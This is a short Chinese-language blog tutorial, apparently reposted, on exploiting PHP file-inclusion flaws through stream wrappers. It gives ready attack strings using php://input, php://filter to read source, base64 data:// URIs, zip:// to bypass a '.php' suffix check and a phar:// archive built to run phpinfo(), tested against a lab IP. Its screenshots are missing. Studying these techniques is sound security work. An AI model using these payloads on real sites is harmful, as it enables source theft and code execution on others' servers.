php封装协议的利用

  1. 利用php流input(接受POST过来的值):
    ?file=php://input
    (需要allow_url_include=On,详细→[http://php.net/manual/en/wrappers.php.php](http://php.net/manual/en/wrappers.php.php))
    代码执行:

    6922135-d1047df93f187867.jpg
    image
  2. 利用php流filter(过滤器,可以用来读取php文件内容,不需要开启allow_url_include):
    ?file=php://filter/convert.base64-encode/resource=index.php

  3. 利用data URIs:
    ?file=[data://text/plain;base64,base64编码的payload](data://text/plain;base64,base64编码的payload)
    (需要allow_url_include=On)

    6922135-3d1454c4c474cb72.jpg
    image

    <?php phpinfo();,注意没有?>闭合

其他封装协议的利用

  1. zip协议
    http://php.net/manual/zh/wrappers.compression.php
    php $include_file=$_GET[include_file]; if ( isset( $include_file ) && strtolower( substr( $include_file, -4 ) ) == ".php" ) { require( $include_file ); }
    截取过来的后面4格字符,判断是不是php,如果是php才进行包含

    6922135-2a13a519ff7e9251.jpg
    image

    协议原型:zip://archive.zip#dir/file.txt
    注意url编码,因为这个#会和url协议中的#冲突

  2. phar协议
    phar是将php文件归档到一个文件包里面(我理解是类似与zip压缩包一样)
    php <?php $p = new PharData(dirname(__FILE__).'/phartest.aaa', 0,'phartest',Phar::ZIP) ; $p->addFromString('testfile.txt', '<?php phpinfo();?>'); ?>
    创建phar的时候要注意php.ini的参数,phar.readonly设置为off(本地测试的两个默认都是off)
    然后通过包含协议访问:
    http://192.168.227.128/other/lfi/ex1.php?f=phar://./phar/phartest.aaa/testfile.txt

    6922135-1c6d217d90b235e2.jpg
    image

    此方法使用要php>5.3.0

转载于:https://www.jianshu.com/p/826543e07b4c

猜你喜欢

转载自blog.csdn.net/weixin_33937913/article/details/91214450
今日推荐